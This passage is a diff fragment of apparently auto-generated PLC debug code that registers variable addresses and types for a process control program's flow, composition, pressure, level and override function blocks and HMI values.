+{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), 